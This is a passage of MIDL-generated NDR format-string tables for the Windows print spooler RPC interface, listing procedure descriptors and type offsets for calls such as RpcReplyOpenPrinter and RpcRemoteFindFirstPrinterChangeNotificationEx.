/* 1700 */ NdrFcShort( 0x0 ), /* 0 */ 1462 | /* 1702 */ NdrFcShort( 0x0 ), /* 0 */ 1463 | 1464 | /* Procedure Opnum50NotUsedOnWire */ 1465 | 1466 | /* 1704 */ 0x0, /* 0 */ 1467 | 0x48, /* Old Flags: */ 1468 | /* 1706 */ NdrFcLong( 0x0 ), /* 0 */ 1469 | /* 1710 */ NdrFcShort( 0x32 ), /* 50 */ 1470 | /* 1712 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 1471 | /* 1714 */ 0x32, /* FC_BIND_PRIMITIVE */ 1472 | 0x0, /* 0 */ 1473 | /* 1716 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 1474 | /* 1718 */ NdrFcShort( 0x0 ), /* 0 */ 1475 | /* 1720 */ NdrFcShort( 0x0 ), /* 0 */ 1476 | /* 1722 */ 0x40, /* Oi2 Flags: has ext, */ 1477 | 0x0, /* 0 */ 1478 | /* 1724 */ 0x8, /* 8 */ 1479 | 0x1, /* Ext Flags: new corr desc, */ 1480 | /* 1726 */ NdrFcShort( 0x0 ), /* 0 */ 1481 | /* 1728 */ NdrFcShort( 0x0 ), /* 0 */ 1482 | /* 1730 */ NdrFcShort( 0x0 ), /* 0 */ 1483 | 1484 | /* Procedure RpcEnumPrintProcessorDatatypes */ 1485 | 1486 | /* 1732 */ 0x0, /* 0 */ 1487 | 0x48, /* Old Flags: */ 1488 | /* 1734 */ NdrFcLong( 0x0 ), /* 0 */ 1489 | /* 1738 */ NdrFcShort( 0x33 ), /* 51 */ 1490 | /* 1740 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ 1491 | /* 1742 */ 0x32, /* FC_BIND_PRIMITIVE */ 1492 | 0x0, /* 0 */ 1493 | /* 1744 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 1494 | /* 1746 */ NdrFcShort( 0x0 ), /* 0 */ 1495 | /* 1748 */ NdrFcShort( 0x8 ), /* 8 */ 1496 | /* 1750 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1497 | 0x1, /* 1 */ 1498 | /* 1752 */ 0x8, /* 8 */ 1499 | 0x1, /* Ext Flags: new corr desc, */ 1500 | /* 1754 */ NdrFcShort( 0x0 ), /* 0 */ 1501 | /* 1756 */ NdrFcShort( 0x0 ), /* 0 */ 1502 | /* 1758 */ NdrFcShort( 0x0 ), /* 0 */ 1503 | 1504 | /* Return value */ 1505 | 1506 | /* 1760 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1507 | /* 1762 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 1508 | /* 1764 */ 0x8, /* FC_LONG */ 1509 | 0x0, /* 0 */ 1510 | 1511 | /* Procedure RpcResetPrinter */ 1512 | 1513 | /* 1766 */ 0x0, /* 0 */ 1514 | 0x48, /* Old Flags: */ 1515 | /* 1768 */ NdrFcLong( 0x0 ), /* 0 */ 1516 | /* 1772 */ NdrFcShort( 0x34 ), /* 52 */ 1517 | /* 1774 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ 1518 | /* 1776 */ 0x32, /* FC_BIND_PRIMITIVE */ 1519 | 0x0, /* 0 */ 1520 | /* 1778 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 1521 | /* 1780 */ NdrFcShort( 0x0 ), /* 0 */ 1522 | /* 1782 */ NdrFcShort( 0x8 ), /* 8 */ 1523 | /* 1784 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1524 | 0x1, /* 1 */ 1525 | /* 1786 */ 0x8, /* 8 */ 1526 | 0x1, /* Ext Flags: new corr desc, */ 1527 | /* 1788 */ NdrFcShort( 0x0 ), /* 0 */ 1528 | /* 1790 */ NdrFcShort( 0x0 ), /* 0 */ 1529 | /* 1792 */ NdrFcShort( 0x0 ), /* 0 */ 1530 | 1531 | /* Return value */ 1532 | 1533 | /* 1794 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1534 | /* 1796 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 1535 | /* 1798 */ 0x8, /* FC_LONG */ 1536 | 0x0, /* 0 */ 1537 | 1538 | /* Procedure RpcGetPrinterDriver2 */ 1539 | 1540 | /* 1800 */ 0x0, /* 0 */ 1541 | 0x48, /* Old Flags: */ 1542 | /* 1802 */ NdrFcLong( 0x0 ), /* 0 */ 1543 | /* 1806 */ NdrFcShort( 0x35 ), /* 53 */ 1544 | /* 1808 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ 1545 | /* 1810 */ 0x32, /* FC_BIND_PRIMITIVE */ 1546 | 0x0, /* 0 */ 1547 | /* 1812 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 1548 | /* 1814 */ NdrFcShort( 0x0 ), /* 0 */ 1549 | /* 1816 */ NdrFcShort( 0x8 ), /* 8 */ 1550 | /* 1818 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1551 | 0x1, /* 1 */ 1552 | /* 1820 */ 0x8, /* 8 */ 1553 | 0x1, /* Ext Flags: new corr desc, */ 1554 | /* 1822 */ NdrFcShort( 0x0 ), /* 0 */ 1555 | /* 1824 */ NdrFcShort( 0x0 ), /* 0 */ 1556 | /* 1826 */ NdrFcShort( 0x0 ), /* 0 */ 1557 | 1558 | /* Return value */ 1559 | 1560 | /* 1828 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1561 | /* 1830 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 1562 | /* 1832 */ 0x8, /* FC_LONG */ 1563 | 0x0, /* 0 */ 1564 | 1565 | /* Procedure Opnum54NotUsedOnWire */ 1566 | 1567 | /* 1834 */ 0x0, /* 0 */ 1568 | 0x48, /* Old Flags: */ 1569 | /* 1836 */ NdrFcLong( 0x0 ), /* 0 */ 1570 | /* 1840 */ NdrFcShort( 0x36 ), /* 54 */ 1571 | /* 1842 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 1572 | /* 1844 */ 0x32, /* FC_BIND_PRIMITIVE */ 1573 | 0x0, /* 0 */ 1574 | /* 1846 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 1575 | /* 1848 */ NdrFcShort( 0x0 ), /* 0 */ 1576 | /* 1850 */ NdrFcShort( 0x0 ), /* 0 */ 1577 | /* 1852 */ 0x40, /* Oi2 Flags: has ext, */ 1578 | 0x0, /* 0 */ 1579 | /* 1854 */ 0x8, /* 8 */ 1580 | 0x1, /* Ext Flags: new corr desc, */ 1581 | /* 1856 */ NdrFcShort( 0x0 ), /* 0 */ 1582 | /* 1858 */ NdrFcShort( 0x0 ), /* 0 */ 1583 | /* 1860 */ NdrFcShort( 0x0 ), /* 0 */ 1584 | 1585 | /* Procedure Opnum55NotUsedOnWire */ 1586 | 1587 | /* 1862 */ 0x0, /* 0 */ 1588 | 0x48, /* Old Flags: */ 1589 | /* 1864 */ NdrFcLong( 0x0 ), /* 0 */ 1590 | /* 1868 */ NdrFcShort( 0x37 ), /* 55 */ 1591 | /* 1870 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 1592 | /* 1872 */ 0x32, /* FC_BIND_PRIMITIVE */ 1593 | 0x0, /* 0 */ 1594 | /* 1874 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 1595 | /* 1876 */ NdrFcShort( 0x0 ), /* 0 */ 1596 | /* 1878 */ NdrFcShort( 0x0 ), /* 0 */ 1597 | /* 1880 */ 0x40, /* Oi2 Flags: has ext, */ 1598 | 0x0, /* 0 */ 1599 | /* 1882 */ 0x8, /* 8 */ 1600 | 0x1, /* Ext Flags: new corr desc, */ 1601 | /* 1884 */ NdrFcShort( 0x0 ), /* 0 */ 1602 | /* 1886 */ NdrFcShort( 0x0 ), /* 0 */ 1603 | /* 1888 */ NdrFcShort( 0x0 ), /* 0 */ 1604 | 1605 | /* Procedure RpcFindClosePrinterChangeNotification */ 1606 | 1607 | /* 1890 */ 0x0, /* 0 */ 1608 | 0x48, /* Old Flags: */ 1609 | /* 1892 */ NdrFcLong( 0x0 ), /* 0 */ 1610 | /* 1896 */ NdrFcShort( 0x38 ), /* 56 */ 1611 | /* 1898 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ 1612 | /* 1900 */ 0x32, /* FC_BIND_PRIMITIVE */ 1613 | 0x0, /* 0 */ 1614 | /* 1902 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 1615 | /* 1904 */ NdrFcShort( 0x0 ), /* 0 */ 1616 | /* 1906 */ NdrFcShort( 0x8 ), /* 8 */ 1617 | /* 1908 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1618 | 0x1, /* 1 */ 1619 | /* 1910 */ 0x8, /* 8 */ 1620 | 0x1, /* Ext Flags: new corr desc, */ 1621 | /* 1912 */ NdrFcShort( 0x0 ), /* 0 */ 1622 | /* 1914 */ NdrFcShort( 0x0 ), /* 0 */ 1623 | /* 1916 */ NdrFcShort( 0x0 ), /* 0 */ 1624 | 1625 | /* Return value */ 1626 | 1627 | /* 1918 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1628 | /* 1920 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 1629 | /* 1922 */ 0x8, /* FC_LONG */ 1630 | 0x0, /* 0 */ 1631 | 1632 | /* Procedure Opnum57NotUsedOnWire */ 1633 | 1634 | /* 1924 */ 0x0, /* 0 */ 1635 | 0x48, /* Old Flags: */ 1636 | /* 1926 */ NdrFcLong( 0x0 ), /* 0 */ 1637 | /* 1930 */ NdrFcShort( 0x39 ), /* 57 */ 1638 | /* 1932 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 1639 | /* 1934 */ 0x32, /* FC_BIND_PRIMITIVE */ 1640 | 0x0, /* 0 */ 1641 | /* 1936 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 1642 | /* 1938 */ NdrFcShort( 0x0 ), /* 0 */ 1643 | /* 1940 */ NdrFcShort( 0x0 ), /* 0 */ 1644 | /* 1942 */ 0x40, /* Oi2 Flags: has ext, */ 1645 | 0x0, /* 0 */ 1646 | /* 1944 */ 0x8, /* 8 */ 1647 | 0x1, /* Ext Flags: new corr desc, */ 1648 | /* 1946 */ NdrFcShort( 0x0 ), /* 0 */ 1649 | /* 1948 */ NdrFcShort( 0x0 ), /* 0 */ 1650 | /* 1950 */ NdrFcShort( 0x0 ), /* 0 */ 1651 | 1652 | /* Procedure RpcReplyOpenPrinter */ 1653 | 1654 | /* 1952 */ 0x0, /* 0 */ 1655 | 0x48, /* Old Flags: */ 1656 | /* 1954 */ NdrFcLong( 0x0 ), /* 0 */ 1657 | /* 1958 */ NdrFcShort( 0x3a ), /* 58 */ 1658 | /* 1960 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ 1659 | /* 1962 */ 0x32, /* FC_BIND_PRIMITIVE */ 1660 | 0x0, /* 0 */ 1661 | /* 1964 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 1662 | /* 1966 */ NdrFcShort( 0x0 ), /* 0 */ 1663 | /* 1968 */ NdrFcShort( 0x8 ), /* 8 */ 1664 | /* 1970 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1665 | 0x1, /* 1 */ 1666 | /* 1972 */ 0x8, /* 8 */ 1667 | 0x1, /* Ext Flags: new corr desc, */ 1668 | /* 1974 */ NdrFcShort( 0x0 ), /* 0 */ 1669 | /* 1976 */ NdrFcShort( 0x0 ), /* 0 */ 1670 | /* 1978 */ NdrFcShort( 0x0 ), /* 0 */ 1671 | 1672 | /* Return value */ 1673 | 1674 | /* 1980 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1675 | /* 1982 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 1676 | /* 1984 */ 0x8, /* FC_LONG */ 1677 | 0x0, /* 0 */ 1678 | 1679 | /* Procedure RpcRouterReplyPrinter */ 1680 | 1681 | /* 1986 */ 0x0, /* 0 */ 1682 | 0x48, /* Old Flags: */ 1683 | /* 1988 */ NdrFcLong( 0x0 ), /* 0 */ 1684 | /* 1992 */ NdrFcShort( 0x3b ), /* 59 */ 1685 | /* 1994 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ 1686 | /* 1996 */ 0x32, /* FC_BIND_PRIMITIVE */ 1687 | 0x0, /* 0 */ 1688 | /* 1998 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 1689 | /* 2000 */ NdrFcShort( 0x0 ), /* 0 */ 1690 | /* 2002 */ NdrFcShort( 0x8 ), /* 8 */ 1691 | /* 2004 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1692 | 0x1, /* 1 */ 1693 | /* 2006 */ 0x8, /* 8 */ 1694 | 0x1, /* Ext Flags: new corr desc, */ 1695 | /* 2008 */ NdrFcShort( 0x0 ), /* 0 */ 1696 | /* 2010 */ NdrFcShort( 0x0 ), /* 0 */ 1697 | /* 2012 */ NdrFcShort( 0x0 ), /* 0 */ 1698 | 1699 | /* Return value */ 1700 | 1701 | /* 2014 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1702 | /* 2016 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 1703 | /* 2018 */ 0x8, /* FC_LONG */ 1704 | 0x0, /* 0 */ 1705 | 1706 | /* Procedure RpcReplyClosePrinter */ 1707 | 1708 | /* 2020 */ 0x0, /* 0 */ 1709 | 0x48, /* Old Flags: */ 1710 | /* 2022 */ NdrFcLong( 0x0 ), /* 0 */ 1711 | /* 2026 */ NdrFcShort( 0x3c ), /* 60 */ 1712 | /* 2028 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ 1713 | /* 2030 */ 0x32, /* FC_BIND_PRIMITIVE */ 1714 | 0x0, /* 0 */ 1715 | /* 2032 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 1716 | /* 2034 */ NdrFcShort( 0x0 ), /* 0 */ 1717 | /* 2036 */ NdrFcShort( 0x8 ), /* 8 */ 1718 | /* 2038 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1719 | 0x1, /* 1 */ 1720 | /* 2040 */ 0x8, /* 8 */ 1721 | 0x1, /* Ext Flags: new corr desc, */ 1722 | /* 2042 */ NdrFcShort( 0x0 ), /* 0 */ 1723 | /* 2044 */ NdrFcShort( 0x0 ), /* 0 */ 1724 | /* 2046 */ NdrFcShort( 0x0 ), /* 0 */ 1725 | 1726 | /* Return value */ 1727 | 1728 | /* 2048 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1729 | /* 2050 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 1730 | /* 2052 */ 0x8, /* FC_LONG */ 1731 | 0x0, /* 0 */ 1732 | 1733 | /* Procedure RpcAddPortEx */ 1734 | 1735 | /* 2054 */ 0x0, /* 0 */ 1736 | 0x48, /* Old Flags: */ 1737 | /* 2056 */ NdrFcLong( 0x0 ), /* 0 */ 1738 | /* 2060 */ NdrFcShort( 0x3d ), /* 61 */ 1739 | /* 2062 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ 1740 | /* 2064 */ 0x32, /* FC_BIND_PRIMITIVE */ 1741 | 0x0, /* 0 */ 1742 | /* 2066 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 1743 | /* 2068 */ NdrFcShort( 0x0 ), /* 0 */ 1744 | /* 2070 */ NdrFcShort( 0x8 ), /* 8 */ 1745 | /* 2072 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1746 | 0x1, /* 1 */ 1747 | /* 2074 */ 0x8, /* 8 */ 1748 | 0x1, /* Ext Flags: new corr desc, */ 1749 | /* 2076 */ NdrFcShort( 0x0 ), /* 0 */ 1750 | /* 2078 */ NdrFcShort( 0x0 ), /* 0 */ 1751 | /* 2080 */ NdrFcShort( 0x0 ), /* 0 */ 1752 | 1753 | /* Return value */ 1754 | 1755 | /* 2082 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1756 | /* 2084 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 1757 | /* 2086 */ 0x8, /* FC_LONG */ 1758 | 0x0, /* 0 */ 1759 | 1760 | /* Procedure RpcRemoteFindFirstPrinterChangeNotification */ 1761 | 1762 | /* 2088 */ 0x0, /* 0 */ 1763 | 0x48, /* Old Flags: */ 1764 | /* 2090 */ NdrFcLong( 0x0 ), /* 0 */ 1765 | /* 2094 */ NdrFcShort( 0x3e ), /* 62 */ 1766 | /* 2096 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ 1767 | /* 2098 */ 0x32, /* FC_BIND_PRIMITIVE */ 1768 | 0x0, /* 0 */ 1769 | /* 2100 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 1770 | /* 2102 */ NdrFcShort( 0x0 ), /* 0 */ 1771 | /* 2104 */ NdrFcShort( 0x8 ), /* 8 */ 1772 | /* 2106 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1773 | 0x1, /* 1 */ 1774 | /* 2108 */ 0x8, /* 8 */ 1775 | 0x1, /* Ext Flags: new corr desc, */ 1776 | /* 2110 */ NdrFcShort( 0x0 ), /* 0 */ 1777 | /* 2112 */ NdrFcShort( 0x0 ), /* 0 */ 1778 | /* 2114 */ NdrFcShort( 0x0 ), /* 0 */ 1779 | 1780 | /* Return value */ 1781 | 1782 | /* 2116 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1783 | /* 2118 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 1784 | /* 2120 */ 0x8, /* FC_LONG */ 1785 | 0x0, /* 0 */ 1786 | 1787 | /* Procedure Opnum63NotUsedOnWire */ 1788 | 1789 | /* 2122 */ 0x0, /* 0 */ 1790 | 0x48, /* Old Flags: */ 1791 | /* 2124 */ NdrFcLong( 0x0 ), /* 0 */ 1792 | /* 2128 */ NdrFcShort( 0x3f ), /* 63 */ 1793 | /* 2130 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 1794 | /* 2132 */ 0x32, /* FC_BIND_PRIMITIVE */ 1795 | 0x0, /* 0 */ 1796 | /* 2134 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 1797 | /* 2136 */ NdrFcShort( 0x0 ), /* 0 */ 1798 | /* 2138 */ NdrFcShort( 0x0 ), /* 0 */ 1799 | /* 2140 */ 0x40, /* Oi2 Flags: has ext, */ 1800 | 0x0, /* 0 */ 1801 | /* 2142 */ 0x8, /* 8 */ 1802 | 0x1, /* Ext Flags: new corr desc, */ 1803 | /* 2144 */ NdrFcShort( 0x0 ), /* 0 */ 1804 | /* 2146 */ NdrFcShort( 0x0 ), /* 0 */ 1805 | /* 2148 */ NdrFcShort( 0x0 ), /* 0 */ 1806 | 1807 | /* Procedure Opnum64NotUsedOnWire */ 1808 | 1809 | /* 2150 */ 0x0, /* 0 */ 1810 | 0x48, /* Old Flags: */ 1811 | /* 2152 */ NdrFcLong( 0x0 ), /* 0 */ 1812 | /* 2156 */ NdrFcShort( 0x40 ), /* 64 */ 1813 | /* 2158 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 1814 | /* 2160 */ 0x32, /* FC_BIND_PRIMITIVE */ 1815 | 0x0, /* 0 */ 1816 | /* 2162 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 1817 | /* 2164 */ NdrFcShort( 0x0 ), /* 0 */ 1818 | /* 2166 */ NdrFcShort( 0x0 ), /* 0 */ 1819 | /* 2168 */ 0x40, /* Oi2 Flags: has ext, */ 1820 | 0x0, /* 0 */ 1821 | /* 2170 */ 0x8, /* 8 */ 1822 | 0x1, /* Ext Flags: new corr desc, */ 1823 | /* 2172 */ NdrFcShort( 0x0 ), /* 0 */ 1824 | /* 2174 */ NdrFcShort( 0x0 ), /* 0 */ 1825 | /* 2176 */ NdrFcShort( 0x0 ), /* 0 */ 1826 | 1827 | /* Procedure RpcRemoteFindFirstPrinterChangeNotificationEx */ 1828 | 1829 | /* 2178 */ 0x0, /* 0 */ 1830 | 0x48, /* Old Flags: */ 1831 | /* 2180 */ NdrFcLong( 0x0 ), /* 0 */ 1832 | /* 2184 */ NdrFcShort( 0x41 ), /* 65 */ 1833 | /* 2186 */ NdrFcShort( 0x1c ), /* x86 Stack size/offset = 28 */ 1834 | /* 2188 */ 0x30, /* FC_BIND_CONTEXT */ 1835 | 0x40, /* Ctxt flags: in, */ 1836 | /* 2190 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 1837 | /* 2192 */ 0x0, /* 0 */ 1838 | 0x0, /* 0 */ 1839 | /* 2194 */ NdrFcShort( 0x3c ), /* 60 */ 1840 | /* 2196 */ NdrFcShort( 0x8 ), /* 8 */ 1841 | /* 2198 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ 1842 | 0x7, /* 7 */ 1843 | /* 2200 */ 0x8, /* 8 */ 1844 | 0x5, /* Ext Flags: new corr desc, srv corr check, */ 1845 | /* 2202 */ NdrFcShort( 0x0 ), /* 0 */ 1846 | /* 2204 */ NdrFcShort( 0x1 ), /* 1 */ 1847 | /* 2206 */ NdrFcShort( 0x0 ), /* 0 */ 1848 | 1849 | /* Parameter hPrinter */ 1850 | 1851 | /* 2208 */ NdrFcShort( 0x8 ), /* Flags: in, */ 1852 | /* 2210 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ 1853 | /* 2212 */ NdrFcShort( 0x3a ), /* Type Offset=58 */ 1854 | 1855 | /* Parameter fdwFlags */ 1856 | 1857 | /* 2214 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ 1858 | /* 2216 */ NdrFcShort( 0x4 ), /* x86 Stack size/offset = 4 */ 1859 | /* 2218 */ 0x8, /* FC_LONG */ 1860 | 0x0, /* 0 */ 1861 | 1862 | /* Parameter fdwOptions */ 1863 | 1864 | /* 2220 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ 1865 | /* 2222 */ NdrFcShort( 0x8 ), /* x86 Stack size/offset = 8 */ 1866 | /* 2224 */ 0x8, /* FC_LONG */ 1867 | 0x0, /* 0 */ 1868 | 1869 | /* Parameter pszLocalMachine */ 1870 | 1871 | /* 2226 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ 1872 | /* 2228 */ NdrFcShort( 0xc ), /* x86 Stack size/offset = 12 */ 1873 | /* 2230 */ NdrFcShort( 0x2 ), /* Type Offset=2 */ 1874 | 1875 | /* Parameter dwPrinterLocal */ 1876 | 1877 | /* 2232 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ 1878 | /* 2234 */ NdrFcShort( 0x10 ), /* x86 Stack size/offset = 16 */ 1879 | /* 2236 */ 0x8, /* FC_LONG */ 1880 | 0x0, /* 0 */ 1881 | 1882 | /* Parameter pOptions */ 1883 | 1884 | /* 2238 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ 1885 | /* 2240 */ NdrFcShort( 0x14 ), /* x86 Stack size/offset = 20 */ 1886 | /* 2242 */ NdrFcShort( 0x3e ), /* Type Offset=62 */ 1887 | 1888 | /* Return value */ 1889 | 1890 | /* 2244 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1891 | /* 2246 */ NdrFcShort( 0x18 ), /* x86 Stack size/offset = 24 */ 1892 | /* 2248 */ 0x8, /* FC_LONG */ 1893 | 0x0, /* 0 */ 1894 | 1895 | 0x0 1896 | } 1897 | }; 1898 | 1899 | static const ms2Drprn_MIDL_TYPE_FORMAT_STRING ms2Drprn__MIDL_TypeFormatString = 1900 | { 1901 | 0, 1902 | { 1903 | NdrFcShort( 0x0 ), /* 0 */ 1904 | /* 2 */ 1905 | 0x12, 0x8, /* FC_UP [simple_pointer] */ 1906 | /* 4 */ 1907 | 0x25, /* FC_C_WSTRING */ 1908 | 0x5c, /* FC_PAD */ 1909 | /* 6 */ 1910 | 0x11, 0x4, /* FC_RP [alloced_on_stack] */ 1911 | /* 8 */ NdrFcShort( 0x2 ), /* Offset= 2 (10) */ 1912 | /* 10 */ 0x30, /* FC_BIND_CONTEXT */ 1913 | 0xa0, /* Ctxt flags: via ptr, out, */ 1914 | /* 12 */ 0x0, /* 0 */ 1915 | 0x0, /* 0 */ 1916 | /* 14 */ 1917 | 0x11, 0x0, /* FC_RP */ 1918 | /* 16 */ NdrFcShort( 0xe ), /* Offset= 14 (30) */ 1919 | /* 18 */ 1920 | 0x1b, /* FC_CARRAY */ 1921 | 0x0, /* 0 */ 1922 | /* 20 */ NdrFcShort( 0x1 ), /* 1 */ 1923 | /* 22 */ 0x19, /* Corr desc: field pointer, FC_ULONG */ 1924 | 0x0, /* */ 1925 | /* 24 */ NdrFcShort( 0x0 ), /* 0 */ 1926 | /* 26 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ 1927 | /* 28 */ 0x1, /* FC_BYTE */ 1928 | 0x5b, /* FC_END */ 1929 | /* 30 */ 1930 | 0x16, /* FC_PSTRUCT */ 1931 | 0x3, /* 3 */ 1932 | /* 32 */ NdrFcShort( 0x8 ), /* 8 */ 1933 | /* 34 */ 1934 | 0x4b, /* FC_PP */ 1935 | 0x5c, /* FC_PAD */ 1936 | /* 36 */ 1937 | 0x46, /* FC_NO_REPEAT */ 1938 | 0x5c, /* FC_PAD */ 1939 | /* 38 */ NdrFcShort( 0x4 ), /* 4 */ 1940 | /* 40 */ NdrFcShort( 0x4 ), /* 4 */ 1941 | /* 42 */ 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ 1942 | /* 44 */ NdrFcShort( 0xffe6 ), /* Offset= -26 (18) */ 1943 | /* 46 */ 1944 | 0x5b, /* FC_END */ 1945 | 1946 | 0x8, /* FC_LONG */ 1947 | /* 48 */ 0x8, /* FC_LONG */ 1948 | 0x5b, /* FC_END */ 1949 | /* 50 */ 1950 | 0x11, 0x4, /* FC_RP [alloced_on_stack] */ 1951 | /* 52 */ NdrFcShort( 0x2 ), /* Offset= 2 (54) */ 1952 | /* 54 */ 0x30, /* FC_BIND_CONTEXT */ 1953 | 0xe1, /* Ctxt flags: via ptr, in, out, can't be null */ 1954 | /* 56 */ 0x0, /* 0 */ 1955 | 0x0, /* 0 */ 1956 | /* 58 */ 0x30, /* FC_BIND_CONTEXT */ 1957 | 0x41, /* Ctxt flags: in, can't be null */ 1958 | /* 60 */ 0x0, /* 0 */ 1959 | 0x0, /* 0 */ 1960 | /* 62 */ 1961 | 0x12, 0x0, /* FC_UP */ 1962 | /* 64 */ NdrFcShort( 0x48 ), /* Offset= 72 (136) */ 1963 | /* 66 */ 1964 | 0x1b, /* FC_CARRAY */ 1965 | 0x1, /* 1 */ 1966 | /* 68 */ NdrFcShort( 0x2 ), /* 2 */ 1967 | /* 70 */ 0x19, /* Corr desc: field pointer, FC_ULONG */ 1968 | 0x0, /* */ 1969 | /* 72 */ NdrFcShort( 0xc ), /* 12 */ 1970 | /* 74 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ 1971 | /* 76 */ 0x6, /* FC_SHORT */ 1972 | 0x5b, /* FC_END */ 1973 | /* 78 */ 1974 | 0x16, /* FC_PSTRUCT */ 1975 | 0x3, /* 3 */ 1976 | /* 80 */ NdrFcShort( 0x14 ), /* 20 */ 1977 | /* 82 */ 1978 | 0x4b, /* FC_PP */ 1979 | 0x5c, /* FC_PAD */ 1980 | /* 84 */ 1981 | 0x46, /* FC_NO_REPEAT */ 1982 | 0x5c, /* FC_PAD */ 1983 | /* 86 */ NdrFcShort( 0x10 ), /* 16 */ 1984 | /* 88 */ NdrFcShort( 0x10 ), /* 16 */ 1985 | /* 90 */ 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ 1986 | /* 92 */ NdrFcShort( 0xffe6 ), /* Offset= -26 (66) */ 1987 | /* 94 */ 1988 | 0x5b, /* FC_END */ 1989 | 1990 | 0x6, /* FC_SHORT */ 1991 | /* 96 */ 0x6, /* FC_SHORT */ 1992 | 0x8, /* FC_LONG */ 1993 | /* 98 */ 0x8, /* FC_LONG */ 1994 | 0x8, /* FC_LONG */ 1995 | /* 100 */ 0x8, /* FC_LONG */ 1996 | 0x5b, /* FC_END */ 1997 | /* 102 */ 1998 | 0x1b, /* FC_CARRAY */ 1999 | 0x3, /* 3 */ 2000 | /* 104 */ NdrFcShort( 0x14 ), /* 20 */ 2001 | /* 106 */ 0x19, /* Corr desc: field pointer, FC_ULONG */ 2002 | 0x0, /* */ 2003 | /* 108 */ NdrFcShort( 0x8 ), /* 8 */ 2004 | /* 110 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ 2005 | /* 112 */ 2006 | 0x4b, /* FC_PP */ 2007 | 0x5c, /* FC_PAD */ 2008 | /* 114 */ 2009 | 0x48, /* FC_VARIABLE_REPEAT */ 2010 | 0x49, /* FC_FIXED_OFFSET */ 2011 | /* 116 */ NdrFcShort( 0x14 ), /* 20 */ 2012 | /* 118 */ NdrFcShort( 0x0 ), /* 0 */ 2013 | /* 120 */ NdrFcShort( 0x1 ), /* 1 */ 2014 | /* 122 */ NdrFcShort( 0x10 ), /* 16 */ 2015 | /* 124 */ NdrFcShort( 0x10 ), /* 16 */ 2016 | /* 126 */ 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ 2017 | /* 128 */ NdrFcShort( 0xffc2 ), /* Offset= -62 (66) */ 2018 | /* 130 */ 2019 | 0x5b, /* FC_END */ 2020 | 2021 | 0x4c, /* FC_EMBEDDED_COMPLEX */ 2022 | /* 132 */ 0x0, /* 0 */ 2023 | 